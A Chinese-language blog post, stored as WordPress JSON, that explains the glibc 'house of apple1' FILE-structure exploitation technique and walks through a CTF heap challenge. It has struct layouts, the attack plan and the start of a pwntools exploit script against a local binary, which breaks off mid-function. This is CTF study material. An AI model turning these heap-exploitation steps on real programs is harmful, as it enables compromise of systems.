{"id":238,"date":"2024-08-12T00:22:20","date_gmt":"2024-08-11T16:22:20","guid":{"rendered":"http:\/\/39.104.51.85\/?p=238"},"modified":"2024-08-13T23:38:22","modified_gmt":"2024-08-13T15:38:22","slug":"house-of-apple","status":"publish","type":"post","link":"http:\/\/39.104.51.85\/index.php\/2024\/08\/12\/house-of-apple\/","title":{"rendered":"house of apple"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">house of apple1<\/h3>\n\n\n\n<p>apple1\u67094\u79cd\u6253\u6cd5\uff0c\u6211\u76ee\u524d\u53ea\u5b66\u4e86\u4e00\u79cd\uff0c\u8be5\u65b9\u6cd5\u7684\u524d\u7f6e\u77e5\u8bc6\u4e3alargebin attack\u548chouse of emma\uff0c\u5982\u6709\u4e0d\u61c2\u7684\u8bf7\u79fb\u6b65\u535a\u5ba2\u4e3b\u9875<\/p>\n\n\n\n<p>apple1\u539f\u7248\u6587\u7ae0\u5728<a href=\"https:\/\/bbs.kanxue.com\/thread-273418.htm\">\u8fd9\u91cc<\/a>\uff0c\u672c\u6587\u662f\u5bf9\u8be5\u6587\u7684\u5177\u4f53\u5206\u6790\u548c\u7ec6\u8282\u8865\u5145<\/p>\n\n\n\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_69_1 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title \" >\u5185\u5bb9<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Toggle Table of Content\"><span class=\"ez-toc-js-icon-con\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/span><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/39.104.51.85\/index.php\/2024\/08\/12\/house-of-apple\/#%E6%94%BB%E5%87%BB%E7%9A%84%E6%95%88%E6%9E%9C\" title=\"\u653b\u51fb\u7684\u6548\u679c\">\u653b\u51fb\u7684\u6548\u679c<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/39.104.51.85\/index.php\/2024\/08\/12\/house-of-apple\/#%E5%AE%9E%E7%8E%B0%E7%9A%84%E6%9D%A1%E4%BB%B6\" title=\"\u5b9e\u73b0\u7684\u6761\u4ef6\">\u5b9e\u73b0\u7684\u6761\u4ef6<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/39.104.51.85\/index.php\/2024\/08\/12\/house-of-apple\/#%E5%88%A9%E7%94%A8%E5%8E%9F%E7%90%86\" title=\"\u5229\u7528\u539f\u7406\">\u5229\u7528\u539f\u7406<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/39.104.51.85\/index.php\/2024\/08\/12\/house-of-apple\/#%E4%BE%8B%E9%A2%98%E8%AE%B2%E8%A7%A3\" title=\"\u4f8b\u9898\u8bb2\u89e3\">\u4f8b\u9898\u8bb2\u89e3<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"http:\/\/39.104.51.85\/index.php\/2024\/08\/12\/house-of-apple\/#%E6%94%BB%E5%87%BB%E7%9A%84%E6%95%88%E6%9E%9C-2\" title=\"\u653b\u51fb\u7684\u6548\u679c\">\u653b\u51fb\u7684\u6548\u679c<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"http:\/\/39.104.51.85\/index.php\/2024\/08\/12\/house-of-apple\/#%E5%AE%9E%E7%8E%B0%E7%9A%84%E6%9D%A1%E4%BB%B6-2\" title=\"\u5b9e\u73b0\u7684\u6761\u4ef6\">\u5b9e\u73b0\u7684\u6761\u4ef6<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"http:\/\/39.104.51.85\/index.php\/2024\/08\/12\/house-of-apple\/#%E5%88%A9%E7%94%A8%E5%8E%9F%E7%90%86-2\" title=\"\u5229\u7528\u539f\u7406\">\u5229\u7528\u539f\u7406<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"http:\/\/39.104.51.85\/index.php\/2024\/08\/12\/house-of-apple\/#exp%E8%AF%A6%E8%A7%A3\" title=\"exp\u8be6\u89e3\">exp\u8be6\u89e3<\/a><\/li><\/ul><\/nav><\/div>\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E6%94%BB%E5%87%BB%E7%9A%84%E6%95%88%E6%9E%9C\"><\/span>\u653b\u51fb\u7684\u6548\u679c<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<p>\u5728\u4efb\u610f\u5730\u5740\u5199\u4e00\u4e2a\u5806\u5730\u5740<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E5%AE%9E%E7%8E%B0%E7%9A%84%E6%9D%A1%E4%BB%B6\"><\/span>\u5b9e\u73b0\u7684\u6761\u4ef6<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<p>1\u3001\u7a0b\u5e8f\u4ecemain\u51fd\u6570\u8fd4\u56de\u6216\u80fd\u8c03\u7528exit\u51fd\u6570<br>2\u3001\u80fd\u6cc4\u9732\u51faheap\u5730\u5740\u548clibc\u5730\u5740<br>3\u3001\u80fd\u4f7f\u7528\u4e00\u6b21largebin attack\uff08\u4e00\u6b21\u5373\u53ef\uff09<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E5%88%A9%E7%94%A8%E5%8E%9F%E7%90%86\"><\/span>\u5229\u7528\u539f\u7406<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<p>\u7ed3\u5408emma\u6240\u5199\uff0c\u57282.24\u4e4b\u540evtable\u6709\u68c0\u67e5\uff0c\u6240\u4ee5\u4f2a\u9020\u7ed3\u6784\u4f53\u65f6\u53ea\u80fd\u8ba9vtable\u6307\u5411\u7279\u5b9a\u8303\u56f4\uff0c\u800c\u5229\u7528\u539f\u7406\u4ecd\u7136\u662f\u5728\u8c03\u7528fflush\u51fd\u6570\u5237\u65b0\u6240\u6709\u6587\u4ef6\u7684\u65f6\u5019\uff0c\u901a\u8fc7\u8be5\u5199vtable\uff0c\u8c03\u7528\u539f\u672coverflow\u4f4d\u7f6e\u7684\u51fd\u6570\uff0c\u5728house of apple1\u4e2d\uff0c\u6211\u4eec\u9009\u62e9\u7684\u662f\u628avtable\u6539\u5199\u6210_IO_wstrn_jumps\u8fd9\u4e2a\u8df3\u8f6c\u8868\uff0c\u8c03\u7528\u7684\u51fd\u6570\u662f_IO_wstrn_overflow\uff0c\u800c\u8fd9\u4e2a\u51fd\u6570\u7684\u4f5c\u7528\u5bf9\u8c61\u662f_IO_wide_data\uff0c\u56e0\u6b64\u6211\u4eec\u6765\u8ba8\u8bba\u4e00\u4e0b_IO_wide_data\u8fd9\u4e2a\u7ed3\u6784\u4f53<\/p>\n\n\n\n<p>\u9996\u5148\uff0c\u572864\u4f4d\u7a0b\u5e8f\u4e0b\uff0c\u5b83\u7684\u6307\u9488\u5b58\u653e\u5728file\u7ed3\u6784\u4f530xa0\u7684\u504f\u79fb\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>amd64\uff1a\n0x0:'_flags',\n0x8:'_IO_read_ptr',\n0x10:'_IO_read_end',\n0x18:'_IO_read_base',\n0x20:'_IO_write_base',\n0x28:'_IO_write_ptr',\n0x30:'_IO_write_end',\n0x38:'_IO_buf_base',\n0x40:'_IO_buf_end',\n0x48:'_IO_save_base',\n0x50:'_IO_backup_base',\n0x58:'_IO_save_end',\n0x60:'_markers',\n0x68:'_chain',\n0x70:'_fileno',\n0x74:'_flags2',\n0x78:'_old_offset',\n0x80:'_cur_column',\n0x82:'_vtable_offset',\n0x83:'_shortbuf',\n0x88:'_lock',\n0x90:'_offset',\n0x98:'_codecvt',\n0xa0:'_wide_data',\n0xa8:'_freeres_list',\n0xb0:'_freeres_buf',\n0xb8:'__pad5',\n0xc0:'_mode',\n0xc4:'_unused2',\n0xd8:'vtable'<\/code><\/pre>\n\n\n\n<p>\u800c_IO_wide_data\u7ed3\u6784\u4f53\u957f\u8fd9\u4e2a\u6837\u5b50\uff0c\u8be5\u6307\u9488\u6307\u5411\u7684\u4f4d\u7f6e\u4e5f\u4f1a\u88ab\u89e3\u6790\u6210_IO_wide_data\u7ed3\u6784\u4f53<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>struct _IO_wide_data\n{\n  wchar_t *_IO_read_ptr;    \/* Current read pointer *\/\n  wchar_t *_IO_read_end;    \/* End of get area. *\/\n  wchar_t *_IO_read_base;   \/* Start of putback+get area. *\/\n  wchar_t *_IO_write_base;  \/* Start of put area. *\/\n  wchar_t *_IO_write_ptr;   \/* Current put pointer. *\/\n  wchar_t *_IO_write_end;   \/* End of put area. *\/\n  wchar_t *_IO_buf_base;    \/* Start of reserve area. *\/\n  wchar_t *_IO_buf_end;     \/* End of reserve area. *\/\n  \/* The following fields are used to support backing up and undo. *\/\n  wchar_t *_IO_save_base;   \/* Pointer to start of non-current get area. *\/\n  wchar_t *_IO_backup_base; \/* Pointer to first valid character of\n                   backup area *\/\n  wchar_t *_IO_save_end;    \/* Pointer to end of non-current get area. *\/\n \n  __mbstate_t _IO_state;\n  __mbstate_t _IO_last_state;\n  struct _IO_codecvt _codecvt;\n  wchar_t _shortbuf&#91;1];\n  const struct _IO_jump_t *_wide_vtable;\n};<\/code><\/pre>\n\n\n\n<p>\u63a5\u4e0b\u6765\uff0c\u5728\u6211\u4eec\u8c03\u7528_IO_wstrn_overflow\u51fd\u6570\u65f6\uff0c\u4f1a\u6267\u884c\u5982\u4e0b\u64cd\u4f5c\uff0c\u6211\u4eec\u7ed3\u5408\u6e90\u7801\u6765\u5206\u6790<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-24.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"871\" height=\"778\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-24.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-239\"  sizes=\"(max-width: 871px) 100vw, 871px\" \/><\/div><\/figure>\n\n\n\n<p>1.\u5f3a\u5236\u5c06fp\u8f6c\u5316\u4e3a\u4e00\u4e2a_IO_wstrnfile\u6307\u9488\uff0c\u5e76\u5c06\u5176\u8d4b\u503c\u7ed9snf<\/p>\n\n\n\n<p>\u597d\uff0c\u90a3\u4e48_IO_wstrnfile\u957f\u4ec0\u4e48\u6837\u5b50\u5462\uff1f<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>struct _IO_str_fields\n{\n  _IO_alloc_type _allocate_buffer_unused;\n  _IO_free_type _free_buffer_unused;\n};\n \nstruct _IO_streambuf\n{\n  FILE _f;\n  const struct _IO_jump_t *vtable;\n};\n \ntypedef struct _IO_strfile_\n{\n  struct _IO_streambuf _sbf;\n  struct _IO_str_fields _s;\n} _IO_strfile;\n \ntypedef struct\n{\n  _IO_strfile f;\n  \/* This is used for the characters which do not fit in the buffer\n     provided by the user.  *\/\n  char overflow_buf&#91;64];\n} _IO_strnfile;\n \n \ntypedef struct\n{\n  _IO_strfile f;\n  \/* This is used for the characters which do not fit in the buffer\n     provided by the user.  *\/\n  wchar_t overflow_buf&#91;64]; \/\/ overflow_buf\u5728\u8fd9\u91cc********\n} _IO_wstrnfile;<\/code><\/pre>\n\n\n\n<p>\u770b\u8d77\u6765\u5f88\u590d\u6742\uff0c\u6240\u4ee5\u6211\u753b\u4e86\u4e2a\u56fe\u7b80\u5316\u4e86\u4e00\u4e0b<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-25.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"292\" height=\"140\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-25.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-240\"\/><\/div><\/figure>\n\n\n\n<p>2.\u5224\u65ad<code>fp-&gt;_wide_data-&gt;_IO_buf_base != snf-&gt;overflow_buf<\/code>\u662f\u5426\u6210\u7acb\uff0c\u901a\u5e38\u8fd9\u4e2a\u68c0\u67e5\u662f\u6210\u7acb\u7684\uff0c\u57fa\u672c\u4e0d\u7528\u8003\u8651\u7ed5\u8fc7<\/p>\n\n\n\n<p>3.\u5c06\u4e00\u7cfb\u5217\u7684\u6307\u9488\u8d4b\u503c\u4e3asnf-&gt;overflow_buf\uff0c\u8fd9\u4e9b\u6307\u9488\u7ecf\u8fc7\u603b\u7ed3\uff0c\u5c31\u662fwide_data\u6bb5\u4ece0\u52300x40\u8303\u56f4\u5185\u7684\u6570\u636e\u90fd\u4f1a\u88ab\u66ff\u6362<\/p>\n\n\n\n<p>\u7531\u6b64\u5982\u679c\u6211\u4eec\u8bbe\u8ba1\u597dwide_data\u6307\u9488\u7684\u503c\uff0c\u5e76\u4e14\u6210\u529f\u4fee\u6539vtable\u4e3a_IO_wstrn_jumps\uff0c\u5373\u53ef\u5b9e\u73b0\u4efb\u610f\u5730\u5740\u5199\uff0c\u753b\u4e2a\u56fe\u5982\u4e0b\uff0c\u52a0\u5165\u6211\u4eec\u76f4\u5230\u67d0\u5806\u5757\u5730\u5740\u4e3aA\uff0c\u5e76\u5728\u6b64\u5806\u5757\u91cc\u8fdb\u884c\u4e86IO_file\u7ed3\u6784\u4f53\u7684\u4f2a\u9020\uff0c\u5728wide_data\u6bb5\u5199\u4e00\u4e2a\u4f60\u60f3\u4efb\u610f\u5199\u7684\u5730\u5740B\uff0c\u90a3\u4e48\u5728\u6267\u884c\u5230\u6b64\u5904\u8fdb\u884c\u5237\u65b0\u65f6\uff0c\u7531\u4e8evtable\u5df2\u7ecf\u88ab\u6539\u5199\uff0c\u56e0\u6b64\u4f1a\u8c03\u7528_IO_wstrn_overflow(fp)\uff0c\u4ece\u800c\u5c06B\u5230B+0x40\u7684\u4f4d\u7f6e\u5168\u90e8\u6539\u5199\u4e3aA+0xf0\uff08\u9664\u4e86_IO_read_end\u548c_IO_buf_end\u4f1a\u88ab\u6539\u5199\u6210A+0x1f0\uff09\u81f3\u6b64\uff0capple1\u7684\u653b\u51fb\u6d41\u7a0b\u7ed3\u675f\uff0c\u7531\u6b64\u53ef\u89c1\uff0c\u5728\u6ca1\u6709hook\u51fd\u6570\u7684\u60c5\u51b5\u4e0b\uff0capple1\u5b9e\u73b0\u7684\u4efb\u610f\u5199\u5e76\u4e0d\u80fd\u8d77\u5230\u76f4\u63a5\u7684\u653b\u51fb\u4f5c\u7528\uff0c\u6240\u4ee5\u901a\u5e38\u8981\u7ed3\u5408\u5176\u4ed6\u624b\u6cd5\u5171\u540c\u5b8c\u6210\u540e\u7eed\u7684\u653b\u51fb<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-26-1024x910.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1024\" height=\"910\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-26-1024x910.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-241\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E4%BE%8B%E9%A2%98%E8%AE%B2%E8%A7%A3\"><\/span>\u4f8b\u9898\u8bb2\u89e3<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<p>\u4e0b\u9762\u4ee5roderick01\u5927\u795e\u6240\u7ed9\u51fa\u7684\u4f8b\u9898pwn_oneday\u4e3a\u672cblog\u4f8b\u9898\uff0c\u8fdb\u884c\u8be6\u7ec6\u7684exp\u5206\u6790<\/p>\n\n\n\n<h5 class=\"wp-block-heading\">\u9898\u76ee\u5206\u6790<\/h5>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-27.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"689\" height=\"799\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-27.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-244\"  sizes=\"(max-width: 689px) 100vw, 689px\" \/><\/div><\/figure>\n\n\n\n<p>\u7ecf\u5178\u7684\u589e\u5220\u6539\u67e5\u5806\u9898\uff0c\u5176\u4e2d\u6539\uff0c\u67e5\u53ea\u6709\u4e00\u6b21\uff0c\u5f00\u4e86\u6c99\u7bb1\uff0c\u7981\u6389\u4e86execve<\/p>\n\n\n\n<p>\u9996\u5148\u8f93\u5165\u4e00\u4e2akey\uff0ckey*0x110\u8bb0\u4e3asize\uff0c\u5b58\u5230bss\u6bb5\u4e0a\uff0cadd\u65f6\u53ea\u80fd\u9009\u62e9\u4e09\u79cd\u5927\u5c0f\uff0c\u5373size\uff0csize+0x10,2*size\uff0c\u5206\u522b\u5bf9\u5e94\u9009\u62e91,2,3<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-28.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"614\" height=\"681\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-28.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-245\"  sizes=\"(max-width: 614px) 100vw, 614px\" \/><\/div><\/figure>\n\n\n\n<p>\u5220\u7684\u65f6\u5019\u6307\u9488\u8868\u6ca1\u7f6e\u96f6\uff0c\u5b58\u5728UAF<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-29.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"506\" height=\"308\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-29.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-246\"  sizes=\"(max-width: 506px) 100vw, 506px\" \/><\/div><\/figure>\n\n\n\n<p>\u6539\u548c\u67e5\u4e2d\u89c4\u4e2d\u77e9<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-30.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"500\" height=\"420\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-30.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-247\"  sizes=\"(max-width: 500px) 100vw, 500px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-31.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"514\" height=\"328\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-31.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-248\"  sizes=\"(max-width: 514px) 100vw, 514px\" \/><\/div><\/figure>\n\n\n\n<h5 class=\"wp-block-heading\">\u601d\u8def\u5206\u6790<\/h5>\n\n\n\n<p>\u9996\u5148\u8981\u60f3\u529e\u6cd5\u6cc4\u9732\u51faheapbase\u548clibcbase\uff0c\u6709\u4e86libcbase\u5c31\u77e5\u9053\u4e86_IO_list_all\u548cpoint_chk_guard\u7684\u4f4d\u7f6e\u4e86\uff0c\u6709\u4e86heapbase\u5c31\u77e5\u9053fakefile\u7684\u4f4d\u7f6e\u4e86\u3002<\/p>\n\n\n\n<p>\u6574\u4f53\u5229\u7528\u601d\u8def\u662f\uff1a\u9996\u5148\u5229\u7528largebin attack\u4fee\u6539_IO_list_all\u4e3aheapaddr\uff08\u4e0d\u662fheapbase\uff09\uff0c\u63a5\u7740\u5728heapaddr\u7684\u5730\u65b9\u653e\u597d\u4f2a\u9020\u7684fakefile\uff0cfile1\u7528\u6765\u8c03\u7528_IO_wstrn_overflow\u89e6\u53d1apple1\u4efb\u610f\u5199\uff0c\u628apoint_chk_guard\u4fee\u6539\u6210\u5806\u5730\u5740\u4f7f\u5176\u53d8\u6210\u4e00\u4e2a\u5df2\u77e5\u91cf\uff0cfile2\u7528\u6765\u89e6\u53d1house of emma\u8fdb\u884crsp\u7684\u52ab\u6301\uff0c\u5728\u7a0b\u5e8freturn 0\u6216exit\u7684\u65f6\u5019\u8c03\u7528fflush\uff08stderr\uff09\u4ece\u800c\u6267\u884c\u4e0a\u8ff0\u7684\u6d41\u7a0b<\/p>\n\n\n\n<h5 class=\"wp-block-heading\">exp\u8be6\u89e3<\/h5>\n\n\n\n<p>\u9996\u5148\u660e\u786e\u5728\u8fd9\u91cc\u6211\u4eec\u9009\u62e9\u7684key\u7684\u5927\u5c0f\u4e3a10\uff0c\u5bf9\u5e94\u7684size\u5927\u5c0f\u4e3a0xaa0\uff0c\u5219\u6700\u7ec8\u5728\u5806\u5757\u7684size\u4f4d\u6709\u53ef\u80fd\u662f0xab1,0xac1,0x1551\uff0c\u5206\u522b\u5bf9\u5e94\u4e86\u9009\u62e91,2,3<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\nfrom pwncli import *\nio = process(\".\/oneday\")\nlibc = ELF(\".\/libc.so.6\")\ncontext.arch = 'amd64'\ncontext.log_level = 'debug'\ndef add(choice):\n    io.recvuntil(b'enter your command: \\n')\n    io.sendline(b'1')\n    io.recvuntil(b'choise: ')\n    io.sendline(str(choice).encode())\n\ndef delete(idx):\n    io.recvuntil(b'enter your command: \\n')\n    io.sendline(b'2')\n    io.recvuntil(b'Index: \\n')\n    io.sendline(str(idx).encode())\n\ndef edit(idx, message):\n    io.recvuntil(b'enter your command: \\n')\n    io.sendline(b'3')\n    io.recvuntil(b'Index: ')\n    io.sendline(str(idx))\n    io.recvuntil(b'Message: \\n')\n    io.send(message)\n\ndef show(idx):\n    io.recvuntil(b'enter your command: \\n')\n    io.sendline(b'4')\n    io.recvuntil(b'Index: ')\n    